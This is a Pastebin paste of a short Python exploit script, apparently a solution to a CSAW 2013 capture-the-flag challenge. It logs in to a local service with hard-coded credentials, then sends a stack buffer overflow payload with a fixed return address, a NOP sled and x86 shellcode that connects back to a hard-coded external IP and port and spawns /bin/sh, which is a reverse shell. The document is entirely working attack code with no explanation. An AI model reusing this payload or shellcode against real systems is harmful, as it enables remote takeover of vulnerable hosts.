Advertisement
Guest User

Untitled

a guest
Sep 25th, 2013
516
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.75 KB | None | 0 0
  1. import socket,time
  2. from struct import *
  3. import binascii
  4. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5. s.connect(("localhost", 34266))
  6. print "stg 1"
  7. time.sleep(1)
  8. s.send("csaw2013\nS1mplePWD\n") #login
  9. print "stg 2"
  10. time.sleep(1)
  11. s.send("-1\n")
  12. print s.recv(4096)
  13. address = 0xbffff650 # address took from stack
  14. shellcode="\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68" + "\x4F\x36\x69\x20" +"\x66\x68" +"\x27\x1a" +"\x66\x51\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0" +"\x66\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x31\xc9\x89\xe3" +"\xb0\x0b\xcd\x80"
  15. payload = "a" * 1056 # padding
  16. payload += pack('<I', address) # eip
  17. payload += "\x90" * 80 + shellcode #shellcode
  18. s.send(payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement